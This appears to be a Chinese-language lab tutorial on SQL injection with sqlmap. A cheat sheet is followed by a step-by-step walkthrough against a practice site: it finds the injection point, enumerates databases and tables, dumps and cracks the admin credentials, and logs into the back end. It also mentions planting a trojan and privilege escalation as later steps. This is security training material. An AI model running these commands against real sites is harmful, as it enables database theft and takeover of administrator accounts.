检查注入点:
sqlmap -u http://aa.com/star_photo.php?artist_id=11
爆所有数据库信息:
sqlmap -u http://aa.com/star_photo.php?artist_id=11 --dbs
爆当前数据库信息:
sqlmap -u http://aa.com/star_photo.php?artist_id=11 --current-db
指定库名列出所有表
sqlmap -u http://aa.com/star_photo.php?artist_id=11 -D vhost48330 --tables
'vhost48330' 为指定数据库名称
指定库名表名列出所有字段
sqlmap -u http://aa.com/star_photo.php?artist_id=11 -D vhost48330 -T admin --columns
'admin' 为指定表名称
指定库名表名字段dump出指定字段
sqlmap -u http://aa.com/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump
'ac,id,password' 为指定字段名称
实验目的:
学会使用sqlmap并完成一次sql注入。
实验工具:
sqlmap、火狐浏览器
实验环境:
服务器一台(Windows server 2003)
客户机一台(Windows server 2003)、目标地址:http://aa.com/wcms/show.php?id=33
实验步骤:
-
第一步:打开目标地址,先手工检查一下是否存在注入点。
http://aa.com/wcms/show.php?id=33页面正常
http://aa.com/wcms/show.php?id=33'正常报错
说明存在注入漏洞。下面进行sqlmap注入。 第二步:使用sqlmap判断一下是否存在注入漏洞(主要是看能否返回信息)
python.exe sqlmap/sqlmap.py -u http://aa.com/wcms/show.php?id=3
- 第三步:获取数据库信息。
python.exe sqlmap/sqlmap.py -u http://aa.com/wcms/show.php?id=3 --dbs
获取所有数据库信息
- python.exe sqlmap/sqlmap.py -u http://aa.com/wcms/show.php?id=3 --current-db
获取当前数据库信息
由于靶机环境搭建了不同的网站和应用,用的都是同一个数据库,因此显示的会把整个mysql的所有数据库名都显示出来。目标网站用的是cms这个库。
第四步:指定库名列出所有表
- python.exe sqlmap/sqlmap.py -u http://aa.com/wcms/show.php?id=3 -D cms --tables
进一步获取到了cms库所有的表,我们更关注cms_users这个表。根据经验,这里面存储着后台的管理账号和密码。
- 第五步:指定库名表名列出所有字段。
-python.exe sqlmap/sqlmap.py -u http://aa.com/wcms/show.php?id=3 -D cms -T cms_users --columns
查出了3个字段,password,userid,username。理论上password、和username分别存储着密码和用户名。
- 第六步:指定库名表名字段列出指定字段
python.exe sqlmap/sqlmap.py -u http://aa.com/wcms/show.php?id=3 -D cms -T cms_users -C username,password --dump
在执行过程中,会需要我们属于选择一下y或者n,默认的是大写选项,默认即可(一直按Enter键即可);主要是sqlmap调用本地字典库进行简单的md5暴力破解。我们最后获取到了用户名和密码,分别是 admin 和123456。
第七步:在后台登陆一下。至于后台的查找,我们可以通过御剑这款专业的后台查找工具,后续实验中会有详细的介绍,这里不再赘述。
http://aa.com/wcms/admin/login.php
输入用户名和密码 admin 123456
登陆成功。
关于sqlmap的入侵整个实验过程已经结束,后续的工作就是挂马提权,这些内容也会在后续的实验中进行详细的介绍。